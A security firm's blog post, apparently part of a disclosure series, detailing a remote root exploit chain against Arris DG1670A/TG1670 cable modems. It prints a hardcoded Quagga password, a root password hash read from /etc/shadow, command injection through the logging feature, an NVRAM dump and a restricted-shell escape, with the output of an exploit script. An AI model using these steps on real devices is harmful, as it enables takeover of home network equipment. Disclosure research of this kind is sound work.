KoreLogic Blog
Hacking an Arris Cablemodem 2016-02-12 15:00

Welcome to part four in our four part series on firmware and embedded devices. In our final part, we will discuss a remote root vulnerability in a popular cable modem. Awhile ago, we were shown the administrator portal for a particular cable modem vendor. Old school, right? Still, what an interesting attack vector, we thought. We realize ISPs need some degree of access in order to properly provision modems, but how much should you trust your ISP (and who they partner with) to make security decisions for you? Personally, we only believe in what can be measured and this meant our hands needed to get dirty... Don't worry root, we're coming for you!

Finding information about our target modem (Arris DG1670A/TG1670) was difficult. We discussed it with our ISP at length, but to no avail. This included sales, field technicians, and customer support at various escalation levels. Nobody would talk. What's worse was that all of our research was turning up no other information. The search went on for quite some time.

On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. A link to it even ended up on /r/netsec from reddit. The repository had firmware images for popular cable modems. Albiet a slightly older revision, ours target was on the list!

  Repository: https://github.com/detrojones/Junkyard.git
  Filename:   TS0801102P_100714_NA.16XX.GW.ATOM.img

The firmware images and supporting documentation within the repository listed above vanished during our disclosure process. If you're truly interested though, you may still be able to locate it as deleting things from the internet is a... tad difficult.

Below is a listing of the squashfs-root directory contained within the image:

  bin  etc  gw.fsname  include  linuxrc  nvram  sbin     share  tmp  var      version
  dev  fss  hdisk1     lib      mnt      proc   scripts  sys    usr  var.tar  vop

The default IP address assigned to our Arris modem is 192.168.100.1, which is conveniently routable from networks where the modem is attached. Below is the Nmap output of services listening on the default IP address:

  # sudo nmap -T5 -sU -sT -p- 192.168.100.1
  Nmap scan report for 192.168.100.1
  Host is up (0.0053s latency).
  PORT     STATE SERVICE  VERSION
  80/tcp   open  http     lighttpd
  443/tcp  open  ssl/http lighttpd
  2602/tcp open  ripd?
  8080/tcp open  http     lighttpd

A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if you grep through the content of the file system there are several .conf files containing cleartext passwords. One of the files containing passwords is called zebra.conf. We decided to use this passphrase on the Quagga telnet console.

  # grep -ri "password" *.conf | more
  etc/default/ripngd.conf:password JhAkuo18
  etc/default/zebra.conf:password JhAkuo18
  etc/default/ripd.conf:password JhAkuo18

  $ telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.

  Hello, this is Quagga (version 0.99.16).
  Copyright 1996-2005 Kunihiro Ishiguro, et al.


  User Access Verification

  Password:
  PROMPT>
 

Entering a '?' at any point gives context-sensitive help text. There are several layers of privilege, though there are no restrictions on elevation - knowing the right commands is enough. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In this particular case, it has been implemented on the cable modem to facilitate route provisioning from ISP onto the public internet. (Note, we don't think current, default Quagga installs are vulnerable/exploitable; see the advisory.)

  PROMPT> ?
    echo      Echo a message back to the vty
    enable    Turn on privileged mode command
    exit      Exit current mode and down to previous mode
    help      Description of the interactive help system
    list      Print command list
    quit      Exit current mode and down to previous mode
    show      Show running system information
    terminal  Set terminal line parameters
    who       Display who is on vty
  PROMPT> enable
  PROMPT# ?
    clear      Reset functions
    configure  Configuration from vty interface
    copy       Copy configuration
    debug      Debugging functions (see also 'undebug')
    disable    Turn off privileged mode command
    echo       Echo a message back to the vty
    end        End current mode and change to enable mode.
    exit       Exit current mode and down to previous mode
    help       Description of the interactive help system
    list       Print command list
    logmsg     Send a message to enabled logging destinations
    no         Negate a command or set its defaults
    quit       Exit current mode and down to previous mode
    show       Show running system information
    terminal   Set terminal line parameters
    who        Display who is on vty
    write      Write running configuration to memory, network, or terminal
  PROMPT# configure ?
    terminal  Configuration terminal
  PROMPT# configure terminal
  PROMPT(config)# ?
    access-list  Add an access list entry
    banner       Set banner string
    debug        Debugging functions (see also 'undebug')
    enable       Modify enable password parameters
    end          End current mode and change to enable mode.
    exit         Exit current mode and down to previous mode
    help         Description of the interactive help system
    hostname     Set system's network name
    interface    Select an interface to configure
    ip           IP information
    ipv6         IPv6 information
    key          Authentication key management
    line         Configure a terminal line
    list         Print command list
    log          Logging control
    no           Negate a command or set its defaults
    password     Assign the terminal connection password
    quit         Exit current mode and down to previous mode
    route-map    Create route-map or enter route-map command mode
    router       Enable a routing process
    service      Set up miscellaneous service
    show         Show running system information
    write        Write running configuration to memory, network, or terminal

We assert that the service message of the day banner can be abused to allow for arbitrary file reading. We also assert that the logging mechanism can be abused to allow for meaningful writes. Since we have yet to see an embedded device properly segment user privilege, we make these assertions based upon the assumption that the user running the Quagga daemon is root. The combination of these factors can be used to obtain remote command execution on the underlying operating system of the modem.

  PROMPT(config)# banner motd file ?
    file  Banner from a file
  PROMPT(config)# log file ?
    FILENAME  Logging filename
  PROMPT(config)# exit
  PROMPT# log notifications ?
    MESSAGE  The message to send 

Reading arbitrary files:

  PROMPT(config)# banner motd file /etc/shadow

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::

  User Access Verification

  Password:

The successful response also indicates our assumption is likely correct and that the user root is running the Quagga daemon. By the way, the password for the hash shown above is not too hard to guess. Cracking it is left as an excercise for the reader.

Meaningful file writes:

  PROMPT# configure terminal
  PROMPT(config)# banner motd file /var/tmp/kore-log.txt
  PROMPT(config)# log file /var/tmp/kore-log.txt
  PROMPT(config)# exit
  PROMPT# log notifications KORELOGIC

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  2015/09/10 07:16:50 RIP: KORELOGIC

  User Access Verification

  Password:

It appears as though we can write files. After further testing, we confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writes are allowed. Getting past the leading date/time prefix prior to attacker input was an initial concern. However, this proved easy to get around with some shell fu.

Separately, we had noted the existance of several symlinks within the web root that pointed to writable directories.

  # ls -la usr/www/*.sh
  lrwxrwxrwx 1          usr/www/guioff.sh -> /var/tmp/guioff.sh
  lrwxrwxrwx 1          usr/www/guion.sh -> /var/tmp/guion.sh

  # cat var/tmp/guion.sh
  echo 1 > /nvram/8/guiflag

  # cat var/tmp/guioff.sh
  echo 0 > /nvram/8/guiflag

After reviewing the lighttpd.conf file, we could see there was, in fact, a handler defined for shell scripts.

  #ARRIS CHANGE BEGIN
  #### CGI module
  cgi.assign                = ( ".pl"  => "/usr/bin/perl",
                                ".cgi" => "/usr/bin/perl",
                                ".sh"  => "/bin/sh",
                                "/walk"  => "/fss/gw/usr/bin/web2snmp",
                                 "/snmpSet" => "/fss/gw/usr/bin/web2snmp",
                                 "/snmpGet" => "/fss/gw/usr/bin/web2snmp",
                                 "/login" => "/fss/gw/usr/bin/web2snmp",
                                 "/backup" => "/fss/gw/usr/bin/web2snmp",
                                 "/restore" => "/fss/gw/usr/bin/web2snmp",
                                 "/hsd" => "/fss/gw/usr/bin/web2snmp",
                                 "/setPassword" => "/fss/gw/usr/bin/web2snmp",
  # UNIHAN ADD START
                                 "/storelog" => "/fss/gw/usr/bin/web2snmp",
                                 "/checkPassword" => "/fss/gw/usr/bin/web2snmp"
  # UNIHAN ADD END
                              )

We knew we could write to the /var/tmp/ directory because we had been previously using it for temporary file storage. Using a simple shell pipe (i.e., '|') to ignore the leading date/time prefix solved the problem of not being able to control log data before our command string.

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guion.sh
  PROMPT(config)# exit
  PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1`
  PROMPT# configure terminal
  PROMPT(config)# banner motd file /var/tmp/shell.txt

Followed by a GET request:

  GET /guion.sh HTTP/1.1
  Host: 192.168.100.1:8080
  User-Agent: Mozilla/5.0
  Accept: text/plain, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  DNT: 1
  X-Requested-With: XMLHttpRequest
  Connection: close

And response:

  HTTP/1.1 200 OK
  Content-Length: 0
  Date: Wed, 09 Sep 2015 20:28:55 GMT
  Server: lighttpd

Now we telnet:

  $ telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux

  User Access Verification

  Password:

The disclosure process was pretty routine. Along the way, we noticed some other vulnerabilities being dropped that were similiar to ours.

Example: https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html

Although w00tsec discusses a newer revivision of the firmware, almost everything is applicable. The CGI page where they enable SSH (tech_support_cgi) with mini_cli does not exist in the version we have, that's the only difference we observed though. The w00tsec research team discusses a new attack which partially leverages an older vulnerability relating to the password of the day authentication feature. The seed value used is well known and they were able to make use of this knowledge in their attack against the authentication requirement for tech_support_cgi. This page let them enable the mini_cli shell. It was a good read.

We still wanted a full shell though. It would be easy to do from here, but not as fun as leveraging more vulnerabilities to do the same thing. So.. Now we'll combine the discoveries by w00tsec with those of our own and bring a full root shell to the DG1670A/TG1670!

First we logged into Quagga:

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.

  Hello, this is Quagga (version 0.99.16).
  Copyright 1996-2005 Kunihiro Ishiguro, et al.


  User Access Verification

  Password: 
  PROMPT> enable
  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guioff.sh
  PROMPT(config)# exit
 

Below is a useful symlink we will abuse in our attack to obtain a copy of NVRAM:

lrwxr-xr-x    1          ts_report.log.txt -> /var/log/trouble_report.txt

We need to obtain NVRAM like so:

  PROMPT# log notifications | cat /dev/mmcblk0p3 >> /var/log/trouble_report.txt

We will need to download trouble_report.txt later.

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guion.sh         
  PROMPT(config)# exit

We also set up to start telnetd with the mini_cli shell. This is the same shell w00tsec abuses in their blog.

PROMPT# log notifications | /sbin/utelnetd -l /usr/sbin/mini_cli

Some clean up:

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/kore.log
  PROMPT(config)# quit

Now we can kick off our attack. First we start by executing guioff.sh on the modem so that a copy of NVRAM can be obtained.

  # curl -v http://192.168.100.1:8080/guioff.sh
  *   Trying 192.168.100.1...
  * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0)
  > GET /guioff.sh HTTP/1.1
  > Host: 192.168.100.1:8080
  > User-Agent: curl/7.43.0
  > Accept: */*
  > 
  < HTTP/1.1 200 OK
  < Content-Length: 0
  < Date: Sun, 22 Nov 2015 09:01:11 GMT
  < Server: lighttpd
  < 
  * Connection #0 to host 192.168.100.1 left intact

Next we will wget the NVRAM file from the modem:

  # wget http://192.168.100.1:8080/ts_report.log.txt
  --2015-11-22 09:01:44--  http://192.168.100.1:8080/ts_report.log.txt
  Connecting to 192.168.100.1:8080... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 2097152 (2.0M) [application/octet-stream]
  Saving to: "ts_report.log.txt"

  100%[===========================================>] 2,097,152   1.44MB/s   in 1.4s   

  2015-11-22 09:01:46 (1.44 MB/s) - "ts_report.log.txt" saved [2097152/2097152]

A quick file command on the file shows that it is a ext3 filesystem.

  # file ts_report.log.txt 
  ts_report.log.txt: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
  # mv ts_report.log.txt nvram.ext3

Now to mount and get the password we need for the mini_cli service:

  # mkdir nvram; mount -o loop -t ext3 nvram.ext3 nvram/
  # ls nvram/
  0  1  2  3  6  8  lost+found  mocasave.conf  pcd_error_log.txt
  # cat nvram/1/100
  [redacted]

Sweet, we got our password. It doesn't follow the same structure as those discussed in the w00tsec research. It looks like our ISP has changed the seed.

It is our understanding that ISPs have the ability to change this password on a daily basis if they so desire. In practice though, it has not been our experience that this is the case. We've observed these passwords change in a non-deterministic pattern occuring once every month or so, your ISPs mileage may vary. The information redacted below contains the name of the ISP our target modem is connected to, and IP addresses to their NTP servers.

# cat nvram/8/bootfile.xml
<?xml version="1.0" encoding="UTF-8"?>

<deviceConfig version="1.0">
   <!-- generated Sun Nov 16:58:54 2015 UTC by [redacted] -->
   <wireless enabled="true">
      <ssid index="0" enabled="false"></ssid>
      <ssid index="1" enabled="false"></ssid>
      <ssid index="2" enabled="false"></ssid>
      <ssid index="3" enabled="false"></ssid>
   </wireless>
   <moca enabled="false"></moca>
   <ethernet enabled="true"></ethernet>
   <gateway>
      <ntp>
         <server>[redacted]</server>
         <server>[redacted]</server>
      </ntp>
      <firewall enabled="true">
         <ipFloodDetect>false</ipFloodDetect>
      </firewall>
   </gateway>
   <userAccounts>
      <account name="technician" enabled="true">
         <password>[redacted]</password>
      </account>
      <account name="root" enabled="true">
         <password>[redacted]</password>
      </account>
   </userAccounts>
</deviceConfig>

Anyhow, now we need to start the mini_cli shell. We'll call the guion.sh file which was modified to include commands that will start a telnet service with mini_cli as the shell.

  # curl -v http://192.168.100.1:8080/guion.sh
  *   Trying 192.168.100.1...
  * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0)
  > GET /guion.sh HTTP/1.1
  > Host: 192.168.100.1:8080
  > User-Agent: curl/7.43.0
  > Accept: */*
  >

It will hang until the shell is closed. Go ahead and telnet to port 23.

  # telnet 192.168.100.1
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.



                             `!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~
                                 ``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~   
                                      !MMMMMMMMMMMMMMMMMMMMMMM!:`     :~~     
                                       :MMMMMMMMMMMMMMMM!~        :~~~~       
                                     .:MMMMMMMMMM!:~           ~~~~~~         
                                ..:MMMMMMM!:~`             :~~~~~~~           
                           .:MMMMMM:~`                ::~~~~~~~~~             
                      .:MMMMM:~                    .!!!!!!: ~~~~              
                ..:MMM:~`                         .!!!!`      ~               
          ..:MM:~`                                !!`                         
     .:M:~` 


          AA              RRRRRRR          RRRRRRR          III         SSSSS  
         AAAA             RRRRRRRRR        RRRRRRRRR        III       SSSSSSSSS
        AAAAAA            RRR    RRR       RRR    RRR       III      SSS    SS 
       AAA  AAA           RRR   RRRR       RRR   RRRR       III       SSSS     
      AAA    AAA          RRRRRRRRR        RRRRRRRRR        III         SSSSSS 
     AAAAAAAAAAAA         RRR  RRR         RRR  RRR         III            SSSS
    AAA        AAA        RRR   RRR        RRR   RRR        III       SS    SSS
   AA            AA       RRR    RRR       RRR    RRR       III      SSSSSSSSS 
  A                A      RRR       R      RRR       R      III        SSSSS   


            Copyright ARRIS Enterprises, Inc. 2014 All rights reserved

Here we will input the password obtained from NVRAM:

  Enter password> [redacted]

This spawns the console:

  Spawning ARRIS Console

  Firmware Revision:      8.0.124

  [cut for length]

Next we enter the 'system' sub-menu.

  [  1] Console> system

Here is where the final payload is delivered. w00tsec shows (in assembly) how the restricted shell can be broken by appending a ; at the end of your restricted command followed by the busybox binary you with to run.

  [  2] System> ping ; sh
  ping -I wan0 ; sh 
  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary.

  Usage: ping [OPTIONS] HOST


  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash)
  Enter 'help' for a list of built-in commands.

  # 

In order to make exploitation easier, we've written an automated exploit: kl-arris-dg1670a-remote-root.py

  # python kl-arris-dg1670a-remote-root.py --host 192.168.100.1
  --------------------------------------------------------------------------------
                            Arris DG1670A/TG1670 remote root                            
                            Brought to you by KoreLogic                           
                                   @thatguylevel                                  
  --------------------------------------------------------------------------------

  [+] Testing connectivity to the Quagga service.
  [+] Connected to Quagga successfully.
  [+] Testing connectivity to the HTTP service.
  [+] Connected to HTTP successfully.
  [+] Getting Password-of-the-Day from NVRAM.
  [+] Setting up NVRAM attack against environment.
  [+] Getting NVRAM from HTTP service.
  [+] Mounting NVRAM partition.
  [+] Creating nvram/ directory.
  [+] Got Password-of-the-Day: [redacted]
  [+] Enabling Arris Mini CLI.
  [+] Configuring the Arris Mini CLI attack.
  [+] Started the Arris Mini CLI thread.
  [+] Sleeping for 10 seconds and triggering shell.
  [+] Running the poisoned HTTP shell handler.
  ping ; sh
  ping -I wan0 ; sh 
  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary.

  Usage: ping [OPTIONS] HOST


  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash)
  Enter 'help' for a list of built-in commands.

  #

We notified Arris, who released updated firmware; our ISP has pushed the fix to our devices, but of course YMMV. We tested the file-read and file-write issues against the current release of Quagga and do not think it is affected. You can see more details in the advisory we published.

We hope you enjoyed reading this entry and the series overall. Shout out to w00tsec and #io @ Smash the Stack. Continue following our blog (and twitters: @CrackMeIfYouCan and @thatguylevel) for new vulnerabilities and exploitation techniques!

Protip: If Quagga isn't running, ask your ISP for a static IP address.


4 comments Posted by Matt & Hank at: 15:00 permalink

Carl wrote at 2016-03-23 13:14:

Thank you for disclosing. May you hints us in what ISP is or was vulnerable to this exploit?

Hank wrote at 2016-03-23 14:29:

Hi! No comment on what ISP(s) we found vulnerable at the time, other than to say they appeared to have rolled out fixes before the disclosure went public.

Carl wrote at 2016-03-28 13:47:

Thank you!

Hank wrote at 2021-09-09 14:20:

Note, updated the github repo link as the old one is gone; thanks to @k80theshade for pointing this out.

Comments are closed for this story.